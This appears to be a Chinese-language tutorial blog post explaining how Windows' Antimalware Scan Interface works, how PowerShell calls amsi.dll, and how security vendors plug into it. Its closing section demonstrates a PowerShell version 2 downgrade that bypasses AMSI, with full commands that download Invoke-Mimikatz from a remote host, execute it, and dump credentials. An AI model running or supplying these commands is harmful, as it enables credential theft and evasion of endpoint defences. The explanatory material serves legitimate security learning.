對反惡意軟件掃描接口的學習與思考
前幾天受到某位紅隊大佬指點了一波amsi接口限制powershell腳本的問題,隨即便深知自己的知識面不足,這其實是個很基礎的技術點,慚愧,于是便快速學習并產出此文,本文盡力通俗易懂,希望能幫到對這一塊不太熟悉的小伙伴。
步入正題:
微軟表示新的機制AMSI,能夠讓利用Windows內置host腳本隱蔽或混淆的惡意軟件無所遁形,基于AMSI接口的安全軟件能夠進行更深層次的監控,為系統提供更深層次的安全防護。安全軟件能通過AMSI接口掃描文件,內存、數據流等,進行內容源的URL/IP認證檢查,并采用技術手段識別惡意行為。用戶將可以更加方便地對基于動態腳本的惡意軟件和其他攻擊行為進行防范。
而AMSI之所以如此高效的原因就在于,無論代碼是否經過了模糊處理,無論代碼被混淆到了什么樣的程度,當腳本需要在腳本宿主中運行時,它都必須是以清晰的、未經過混淆處理的明文代碼形式呈現給腳本宿主的。
很多人認為他是負載在windows defender的上的,其實他是win10提供的相對獨立的接口,他是存在于操作系統里面的。
就是這個東西:

觸發他的規則
不僅限制于powershell,我們查閱了微軟官方文檔發現,還包括了UAC,VBS等,基本上對所有的腳本語言做了識別
綜合流程結構:
黑名單機制
首先他其實是一個黑白名單的機制,準確來說是個黑名單,當攻擊者有惡意操作時候,他就會提示并BAN掉
存放名單的地方
那么任何一種擁有黑白名單的機制的,他的名單都要有存放的地方,amsi接口默認是在defender里調用,所以暫時把他抽象的理解為一份存放著黑名單的數據庫吧(大膽的去理解)

調用的程序
那么我們要想調用這個名單,得有一個調用的程序 amsi.dll 他是一個dll文件,里面有兩個用的最多的函數

在咱們的示例中,PowerShell將運用AMSI DLL導出的函數來掃描用戶輸入。假如以為無害,則履行用戶輸入,否則將阻撓履行并記載事件。
AmsiScanBuffer,他是負責決定是否允許運行腳本的函數,比如PowerShell將在每次要評估任何PowerShell腳本時調用此函數

這個函數的介紹展現了非常詳細的一些東西:
他需要你輸入內容的名稱,包括內容一些指定的值

很明顯,他是通過以黑白名單的方式測試你是否存在惡意的行為。
另一個是AmsiScanString

應用的場景
比如打開powershell,UAC,VBA的等都是他的場景
不管我們在powershell輸入什么東西的時候,他都會通過powershell去調用amsi,然后amsi再去調用查詢,也就是存放黑白名單的庫中去找,默認的是windows10的defender,只要你的實時保護是開著的,它默認就會調用defender里面存著的的黑名單,相當于他是個數據庫,這么牽強的理解也是可以的,中間調用的函數便是scanbuff

powershell是通過什么去調用amsi.dll的呢?
通過automation.dll去調用amsi.dll,amsi.dll里面有個函數是 AmsiScanBuffer,PowerShell將在每次要評估任何PowerShell腳本時調用此函數,用來調用defender里面的黑白名單

調用問題
通常第三方的軟件,比如360,火絨等,他們自己寫的調用接口,那么就不用調用默認的dfinder了,那么我們可以理解為,把amsi的接口接到了360or火絨上。
為啥我們裝了360的電腦,操作net user添加用戶時候會彈窗告警呢?

那就是因為他和dfinder的黑白名單寫了不一樣的東西,把他們認為具有威脅性的寫進了黑名單里面,比如敏感的powershell惡意操作,增加用戶的Add等等,所以amsi.dll最后去調用黑白名單的時候,調用的就是360or火絨的,所以他們就會彈窗告警。
bypass amsi
強制使用PowerShell v2繞過 amsi(前提是win10機器需要.net3.0以上)
如果PowerShell v2可用,就用它,因為版本2沒有支持AMSI的必要內部掛鉤
我們用原始powershell執行經典的抓密碼,可以看到是被amsi攔截的
Invoke-Mimikatz
powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

powershell -Version 2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.123:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

如上圖,利用V2降級攻擊的方式,便不在攔截成功繞過了amsi愉快的抓到了密碼。
繞過amsi的方式可太多了,例如修改注冊表,混淆,更經典的是DLL劫持,Hook等等,以后會專項出一篇繞過amsi的方式好文以供大家學習探討。
參考:
https://docs.microsoft.com/en-us/windows/win32/api/_amsi/
https://cloud.tencent.com/developer/article/1590511
總結:
總的來說,AMSI針對的是那些采用PowerShell、VBScript、以及JScript等語言開發出來的惡意腳本,它可以大大提升惡意腳本的檢測準確率,并幫助用戶有效地屏蔽這類惡意腳本。在腳本宿主準備運行某一段腳本代碼之前,AMSI便會介入并嘗試掃描出代碼中潛在的惡意內容。但也不是不可繞過,繞過AMSI一直都是滲透師們熱門話題。